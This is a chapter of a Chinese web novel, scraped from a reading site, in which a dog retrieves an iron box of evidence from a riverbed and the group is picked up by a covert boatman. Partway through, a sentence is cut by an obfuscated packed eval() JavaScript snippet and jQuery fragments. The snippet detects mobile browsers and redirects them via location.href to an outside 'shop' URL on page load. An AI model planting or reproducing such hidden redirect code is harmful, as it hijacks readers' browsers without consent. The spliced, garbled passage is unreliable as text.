默认冷灰
24号文字
方正启体

28. 江底的三秒与浮起的铁盒

作者:白拧书本书字数:K更新时间:
    冰冷的江水中,时间失去了意义。宿弥紧握着粗糙潮湿的缆绳,绳子另一端传来的轻微拖曳感和不时的水流震动,是他与大黑之间唯一的联系。每一秒都被无限拉长,脑海中不断闪过最坏的画面:大黑在黑暗的深水中迷失方向、碎片能量突然失控、水下遇到缠人的杂物、或者……那三秒的窗口太过短暂,大黑错过了。


    “深呼吸,集中精神感应流痕。”阿玄的声音在脑海中响起,像一剂清醒剂,“流痕与大黑身上的碎片有微弱连接,你能感觉到它的状态。”


    宿弥立刻照做,将流痕的感知从“内敛”状态稍稍放开,专注地捕捉着从江水深处、顺着那难以言喻的羁绊传来的信息。起初只有一片模糊的、冰凉的、充满水压和黑暗的“感觉”,那是大黑所处的环境。然后,他捕捉到一丝微弱但坚韧的、属于大黑生命的“暖流”,正在顽强地向着某个方向移动。再然后,他“感觉”到了那碎片——一股尖锐、混乱、却又被某种力量(也许是阿玄给的宁神草,也许是大黑自身的意志)勉强束缚着的、不稳定的能量涡流,像一颗在黑暗中跳动的不祥心脏。


    “它在接近目标……”阿玄低声说,翡翠般的眼睛紧紧盯着水面下某个方向。


    突然,流痕传来的感应骤然清晰!那股尖锐的碎片能量猛地活跃起来,仿佛被什么东西吸引或激发!大黑生命的“暖流”也瞬间变得更加凝聚、紧张!


    “就是现在!”宿弥和阿玄心中同时闪过这个念头。


    下一秒,宿弥手中的缆绳猛地一紧!不是大黑挣扎的信号,而是某种强大的、向下的吸力!紧接着,一股低沉、令人心悸的嗡鸣声,仿佛来自水底深处,穿透厚厚的江水隐隐传来!那嗡鸣声中,似乎还夹杂着极其短暂、但异常刺耳的金属摩擦和电流窜动的噼啪声!


    流痕传来的碎片能量感应瞬间变得狂暴而混乱,仿佛一颗微型炸弹在水下爆开!宿弥感到手臂一阵刺痛,那个“空腔”处更是传来强烈的、仿佛要被撕裂的胀痛感!与此同时,怀表在口袋里疯狂震动,表盘边缘的钥匙符号光芒急促闪烁!


    “大黑!”宿弥失声惊呼,下意识地就要往水里冲!


    “别动!看绳子!”阿玄厉声喝止。


    只见那绷紧的缆绳在水中剧烈地抖动了几下,然后猛地一松!紧接着,一股强大的、向上的浮力顺着绳子传来!宿弥猝不及防,被带得一个踉跄,但他死死抓住绳子,用力向后拖拽!


    “哗啦——!”


    水花四溅,一个黑影破水而出!是大黑!它嘴里死死咬着一个东西——一个大约鞋盒大小、包裹着厚厚防水油布和锈蚀铁链的黑色金属方盒!铁盒表面还在往下淌水,在昏暗的天光下反射着冷硬的色泽。


    大黑浮出水面,剧烈地呛咳着,但眼神依旧锐利,死死咬着铁盒不放,四条腿奋力划水,朝着岸边挣扎游来。它的状态显然很不好,气息急促,动作也失去了之前的协调,尤其是受伤的后腿,几乎是在拖行。


    宿弥连忙涉水过去,一把抱住大黑,连拖带拽将它和沉重的铁盒一起弄上岸。一上岸,大黑就脱力般地瘫倒在泥泞中,嘴里却依旧死死咬着铁盒,喉咙里发出粗重的、仿佛拉风箱般的喘息,身体不住地颤抖。


    “大黑!大黑你怎么样?”宿弥焦急地检查,发现大黑身上绑着的碎片盒外面的防水塑料袋已经破裂,里面那个密封的透明方盒表面竟然布满了细密的裂纹,隐约能看到里面的深色碎片正在散发出一种极其暗淡、不断明灭的、不祥的暗红色微光,但光芒正在迅速衰减。碎片盒本身摸上去烫得惊人!


    阿玄迅速上前,用爪子灵巧地挑开绑着的绳索,将那个发烫的危险碎片盒从大黑身上弄下来,叼到一边,小心地放在一块相对干燥的石头上。“碎片能量在刚才的激发中过度释放,现在进入衰变期,暂时安全,但别碰。”


    宿弥这才稍微放心,赶紧检查大黑。除了体力透支、伤口浸水(需要重新处理),似乎没有更严重的新伤。他连忙脱下自己还算干燥的外套,裹住大黑冰冷颤抖的身体,又从背包里拿出最后的干粮,掰碎了喂给它。大黑虚弱地舔食着,目光却始终没有离开那个被它拼死带上来的黑色铁盒。


    铁盒静静地躺在泥泞中,表面缠着的铁链锈蚀严重,锁扣的位置是一个复杂的机械密码锁,但此刻锁芯处有明显的、仿佛被高温灼烧又急速冷却后的扭曲和变色痕迹,锁舌也微微弹开——显然,刚才水下的磁场干扰成功了,但似乎是以一种相当暴烈的方式强行破开的。


    “盒子……打开了?”宿弥看着那扭曲的锁,心有余悸。很难想象刚才水底发生了什么。


    “防盗装置被触发,但被更强的外力(碎片能量)干扰并破坏了。”阿玄凑近嗅了嗅铁盒,“有微弱的臭氧和金属熔焊味。里面的东西……希望没被损坏。”


    宿弥定了定神,小心地解开缠绕的锈蚀铁链(有些地方一碰就碎),然后,屏住呼吸,轻轻掀开铁盒的盖子。


    盖子很紧,生锈了。他用力一掀——


    “咔。”


    盒盖打开。里面没有进水,密封做得极好。首先映入眼帘的,是塞得满满当当的、用厚实防水袋单独密封的几沓文件袋和几个扁平的塑料盒。文件袋上标注着:“‘门之钥’项目实验记录(节选)”、“‘老板’身份推测与关联证据”、“‘利用派’核心成员名单及活动网络”、“境外资金往来凭证(影印)”、“2010.1旧码头事件现场分析报告”。


    最重要的,是一个用特殊防震材料包裹的、巴掌大的黑色金属U盘(老式,但密封完好),标签上写着:“核心影像证据——‘老板’真容及‘钥匙’现场”。


    此外,还有一个小小的、用蜡封口的玻璃瓶,里面似乎装着一小撮灰白色的粉末,瓶子上贴着的标签字迹是“老K”的笔迹:“现场残留物,成分未明,疑与‘钥匙’有关。极度危险,勿开。”


    最后,在盒子最底下,压着一本只有巴掌大小、但非常厚的皮质笔记本,封面没有任何字迹,但入手沉甸甸的,带着一种奇特的、仿佛有生命般的“质感”。宿弥拿起这本小笔记本,刚一接触,手臂上的流痕就传来一阵强烈的、与接触那把黄铜钥匙时有些相似、但又更加深邃复杂的悸动!仿佛这本笔记本身,就是某种高度凝练的“信息”或“记忆”的载体!


    “这是……”宿弥翻开笔记本第一页,上面用极其细密、工整的字体写满了各种符号、公式、图表以及大段大段的推论和猜想,有些是标准文字,有些是密码,有些甚至是宿弥完全无法理解的、仿佛来自另一个维度的抽象线条。但其中反复出现几个关键词:“流通法则”、“节点稳定性”、“置换效应”、“锚点”、“别墅模型”、“九十九次迭代猜想”……甚至还有简单的、关于“流痕”现象的观测记录和能量模型草图!


    这本笔记,似乎不是关于夜枭会罪证的记录,而是……关于“游戏”本身的研究!“老K”在研究“无限置换游戏”和“流痕”现象?!


    “看来,‘老K’知道的,远比我们想象的要多。”阿玄的声音带着罕见的凝重,它跳到宿弥肩头,看着那本笔记,“他不仅是在对抗‘利用派’,更是在研究这场‘游戏’的规则。这本笔记,可能是比那些罪证更珍贵的……‘知识’。但也更危险。”


    宿弥感到一阵眩晕。信息量太大了。铁盒里的证据足以将“利用派”和背后的“老板”钉死,而这本笔记,则可能揭示他自身处境的根源。他小心翼翼地将所有东西重新收好,尤其将那个U盘、小玻璃瓶和皮质笔记本贴身藏好。文件袋和塑料盒则塞回铁盒,盖好,虽然锁坏了,但至少能遮挡一下。


    “我们必须立刻离开这里。”阿玄提醒道,“刚才水下的动静不小,碎片能量爆发也可能被探测到。‘画家’的人随时会来。”


    宿弥点头,背起铁盒(很沉),想要抱起大黑,但大黑挣扎着站起来,虽然步履蹒跚,但眼神示意自己可以走。它走到那块放着发烫碎片盒的石头前,低头嗅了嗅已经黯淡无光、裂纹密布的盒子,喉咙里发出一声悲伤的低鸣,然后转身,带头朝着与灯塔相反的方向,也就是码头更深处、更荒僻的芦苇丛走去。


    阿玄叼起那个已经无害但依然危险的碎片空盒,跟了上去。宿弥最后看了一眼黑暗的江面和远处的灯塔轮廓,紧了紧背包和铁盒,也迈步跟上。


    他们沿着江边茂密的芦苇丛,深一脚浅一脚地前行。夜色完全降临,只有黯淡的星光和远处城市隐约的光污染提供一点微光。江风呼啸,芦苇沙沙作响,掩盖了他们的脚步声,但也让任何其他声音都难以分辨。流痕的刺痛感已经减弱,但那种被隐约窥视的不安感依然存在。怀表没有再剧烈震动,但表盘上的钥匙水滴符号依旧散发着微光,似乎仍在忠实地指向某个方向——但现在,它的指向似乎与他们的逃亡方向一致?


    大约走了半个小时,来到一处废弃的小型船坞附近。这里堆放着几艘早已腐烂的木船骨架,还有一个半边塌陷的窝棚。大黑停下脚步,示意这里可以暂时歇脚。


    宿弥将大黑安置在窝棚相对干燥的角落,重新处理它浸水的伤口,喂了水。他自己也累得几乎虚脱,靠坐在冰冷的土墙上,啃着最后一点压缩饼干。铁盒放在身边,里面的东西像火炭一样烫着他的思绪。


    “接下来怎么办?”宿弥低声问,看向阿玄。猫咪正蹲在窝棚口,警惕地观察着外面的夜色。“证据拿到了,但我们也彻底暴露了。‘画家’的人,还有那个‘老板’,肯定不会放过我们。这些证据……交给谁?怎么用?”


    “这是你现在最大的‘筹码’。”阿玄转过头,绿眸在黑暗中闪烁,“用它们,可以进行一次前所未有的、足以改变局势的‘置换’。但前提是,找到合适的‘交易对象’,并且,能安全地完成交易。”


    “交易对象?警方?媒体?还是……姜老太太、钟老板他们那个网络?”宿弥思索。


    “警方内部未必干净,‘老板’能隐藏这么久,可能有保护伞。媒体……证据太专业,涉及超自然,容易被打成谣言,而且我们无法保证安全。至于‘停云斋’网络……”阿玄沉吟,“他们有能力处理,也可能愿意接手,但我们需要一个足够有分量的‘中间人’和‘担保’,确保交易公正,并且能为我们提供足够的后续保护。毕竟,我们交出去的不只是罪证,更是烫手山芋,会引来‘利用派’和‘老板’的疯狂反扑。”


    宿弥想起“老烟枪”之前的警告和帮忙,想起姜老太太不惜代价送来钥匙,想起钟老板的人情符,想起柳大夫、方老板的援助……这个网络或许是他目前唯一能依靠的。但如何联系?他现在是逃犯状态,任何通讯都可能被追踪。


    “或许……我们可以主动创造一个‘交易’场景。”阿玄眼中闪过一丝精光,“用铁盒里的部分不那么核心、但足以证明‘利用派’罪行和‘老板’存在的证据作为‘诱饵’和‘定金’,通过一个绝对安全、且能被网络内核心人物注意到的渠道放出去,表明我们有交易的意向和能力,并要求他们提供安全的会面方式和庇护。同时,我们隐藏起来,等待回应。”


    “放出去?怎么放?放在哪里?”宿弥不解。


    阿玄的尾巴尖,轻轻点了点宿弥装着那本皮质小笔记本的口袋。“用这个。这本笔记里,或许有‘老K’留下的、与网络内某人约定的紧急联络方式或暗号。也可能,笔记本身,就是某种信物。我们需要解读它,至少是表面的一部分。”


    宿弥立刻拿出那本皮质笔记本,在微弱的光线下翻看。前面大部分是深奥的研究记录,他看不太懂。但翻到笔记本最后几页,他发现了一些不同的内容。那几页纸的质地似乎更特别一些,边缘有轻微的烧灼痕迹。上面没有复杂的研究,只有几行看似随意涂鸦的线条,和一个用极细的笔反复描摹的、复杂的徽记图案。


    那个徽记——是一本打开的书,书页上点缀星辰,书本下方交叉着一把钥匙和一支羽毛笔!


    这个徽记,宿弥见过!在姜老太太给他的“访客凭证”皮面笔记本封面上!这是姜老太太所属的那个“归档者”体系的徽记!而“老K”的笔记本上也有,而且画得如此郑重!


    “这是……姜老师的标记?”宿弥惊讶。


    “看来,‘老K’和姜绾,或者她背后的体系,早有联系,甚至可能本身就是那个隐秘网络的一员,或者合作者。”阿玄分析,“这个徽记,可能就是紧急联络的标识。我们需要找到一种方式,将这个徽记,连同部分证据的‘影子’(比如,用手机拍下某页不关键但能证明真实性的笔记内容,或者某份文件的一角),传递到一个能被姜绾或她信任的人看到的地方。”


    “哪里?”


    阿玄看向夜色中城市的方向。“‘忘忧’书店。钟书那里。他是资深信息中介,与姜绾有联系,他的书店有一定防护,而且位置相对公开又隐蔽。我们可以设法将信息送到书店门口,或者通过某种只有他们圈内人懂的‘投递’方式。钟书看到徽记和证据碎片,自然会明白事情的严重性,并联系该联系的人。”


    “可我们怎么过去?码头这里离城市很远,而且我们被追踪……”


    “这就是下一次‘置换’的内容了。”阿玄说,“我们需要用我们现有的、除了核心证据之外的某样东西,去换取一次安全、隐秘的返回城市,并接近书店的机会。而且,必须在‘画家’和‘老板’的大网完全收紧之前。”


    宿弥快速盘点自己还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153738|196483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有什么:所剩无几的调和膏、特制石笔板、军刀、玄明道长的符、方老板的香包、老式收音机、一些零钱、手机(不敢用网络)……以及,那个已经能量耗尽、布满裂纹的碎片空盒。还有……大黑和自己这条命。


    “碎片空盒……虽然能量耗尽,但材质特殊,本身可能对某些研究者有价值。收音机改装过,能接收特殊频段。军刀是普通工具。符和香包是消耗品。石笔板记录过重要信息……”宿弥沉吟,“或许,我们可以用碎片空盒,或者收音机,去跟码头区可能还存在的、与灰色世界有联系的人,交换一次帮助?就像之前用信息跟老胡换车一样。”


    阿玄摇摇头:“风险太高。码头区的人不可靠,而且‘画家’的人肯定在附近搜查,容易暴露。我们需要一个更稳妥、更出人意料的渠道。”


    就在这时,一直安静休息、似乎恢复了一点体力的大黑,忽然抬起头,耳朵转动,鼻子朝着窝棚外某个方向使劲嗅了嗅,喉咙里发出一声极其轻微、带着疑惑的呜声。


    “怎么了?”宿弥立刻警惕。


    大黑挣扎着站起来,走到窝棚口,朝着远处江面芦苇荡更深处望去,眼神中充满了疑惑,还有一丝……难以置信的熟悉感?


    宿弥和阿玄也顺着它的目光望去。夜色深沉,芦苇随风起伏,什么也看不见。但流痕却传来一丝极其微弱、极其隐晦的、与周围自然环境格格不入的“波动”。那波动很特别,带着一种……老旧机械运转的、有规律的轻微震颤,以及一丝淡淡的、被刻意掩盖的柴油味?


    是船?而且不是普通的渔船或货船,是某种经过特殊改装、力求安静的小型船只?


    “有人来了。从水上来。不是‘画家’的人,气息不一样。”阿玄低声说,身体微微伏低,“但也不像是偶然路过的渔民。”


    宿弥的心提了起来,轻轻拔出军刀,将大黑挡在身后。会是“渔夫”吗?那个擅长追踪和捕杀的“利用派”核心?


    芦苇被轻轻拨开。一艘几乎没有声响的、漆成深灰蓝色、外形低矮流畅的小型快艇,像幽灵般从芦苇荡中缓缓滑出,停在距离窝棚不到二十米的水面上。快艇没有开灯,但在星光下,能隐约看到驾驶舱里坐着一个穿着黑色防水服、戴着面罩的身影。


    那人似乎也看到了窝棚和里面的人影,快艇停了下来,引擎也完全熄火。双方在夜色和芦苇的掩护下,陷入一种诡异的对峙和寂静。


    几秒钟后,快艇上的人做了一个奇怪的动作——他抬起手,不是拿武器,而是用食指,在额前轻轻点了一下,然后又指了指自己的耳朵,最后指了指窝棚的方向。


    这个手势……宿弥觉得有点眼熟,但一时想不起在哪里见过。


    但阿玄的身体却瞬间放松了下来,尾巴也恢复了平常的摆动弧度。它甚至轻轻“喵”了一声,带着一种“果然如此”的语气。


    “是‘听风者’。”阿玄在宿弥脑中说道,“隐秘网络中的‘耳朵’和‘信使’,负责在水路和某些特殊渠道传递信息、接应人员。这个手势是他们的识别暗号之一,表示‘受人所托,传递信息或提供帮助,无害’。看来,我们的行踪,或者说我们拿到证据的消息,已经通过某种方式,被网络内的高层知晓了。他们的反应,比我们想象的快。”


    受人所托?谁?姜绾?钟书?还是“老烟枪”?


    快艇上的人见窝棚内没有攻击意图,又做了一个“跟我来”的手势,然后轻轻启动引擎,以最低速度,缓缓调转船头,指向芦苇荡深处,仿佛在引路。


    是陷阱,还是真的援助?


    宿弥看向阿玄,看向疲惫但眼神重新燃起希望的大黑,又摸了摸怀中那些用生命换来的证据和笔记。


    他似乎没有太多选择。留下,迟早会被“画家”找到。上船,可能是新的陷阱,但也可能是一条生路,一次将证据安全送出的机会。


    又是一次赌博,一次以信任和未来为筹码的置换。


    “走。”宿弥深吸一口气,背起铁盒,抱起大黑,走向水边。阿玄轻盈地跳上他的肩膀。


    他们涉水上船。快艇上的“听风者”没有回头,也没有说话,只是在他们坐稳后,熟练地驾驶着这艘静默的幽灵,滑入芦苇荡深处,驶向夜色笼罩下、未知的前路。


    江风在耳边呼啸,带着江水特有的腥气。怀表在口袋里,传来稳定而持续的、指向船行方向的轻微悸动。


    第二十八章结束,一次意外的接应,将故事引向了新的方向。证据在手,危机未除,而一场可能决定所有人命运的、更高层次的“交易”,或许即将在城市的某个隐秘角落展开。


    猫咪的私密日记片段(028)


    大黑潜水行动成功,以自身为媒介激发碎片能量,干扰江底铁盒防盗装置,取得核心证据铁盒。行动代价:大黑体力严重透支,碎片能量耗尽损毁。


    铁盒内含:1. “利用派”及“老板”核心罪证(文件、U盘)。2. 未知危险残留物(玻璃瓶)。3. 关键物品:“老K”研究笔记(涉及“游戏”、“流痕”、“置换法则”等高层知识)。信息价值巨大。


    目标陷入携带证据逃亡困境,计划通过隐秘网络传递交易意向。此时遭遇隐秘网络“听风者”(水路信使)接应,显示网络高层已关注事态并主动介入。


    第二十八次置换(潜在/进行中):以“携带核心证据与高风险”的状态,登上“听风者”快艇,换取 “一次脱离当前险境、接近安全网络核心的转移机会”。此为被动接受的、结果未知的置换。


    连锁反应更新:“画家”手下搜索无果,但很可能已上报。碎片能量爆发可能被更敏感设备(如“老板”方)捕捉。“听风者”出现意味着隐秘网络启动应急程序,事态升级至网络层面。


    蝴蝶效应系数累计:5.28。总体进度:28%。目标获得终极筹码(证据),但自身暴露于更高层次博弈中。下一阶段将进入隐秘网络内部或特定安全点,与网络高层(可能是姜绾、钟书或其他决策者)接触,进行关于证据处理、自身庇护及后续行动的关键谈判。同时需警惕“听风者”是否绝对可靠,以及“利用派”/“老板”的后续反扑。


    注:“老K”研究笔记的出现,将极大提升目标对自身处境的理解,也可能成为与隐秘网络谈判的重要附加筹码。“听风者”的出现时机微妙,需观察其背后指示者及其真实意图。


    ——阿玄


    快艇切开黑暗的江水,驶向迷雾笼罩的航道。船上,宿弥抱着疲惫的大黑,肩头蹲着阿玄,身边是沉重的铁盒。手中握着决定性的证据,心中却充满了对前路的不确定。


    一场更大、更复杂的“置换”,或许才刚刚拉开序幕。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)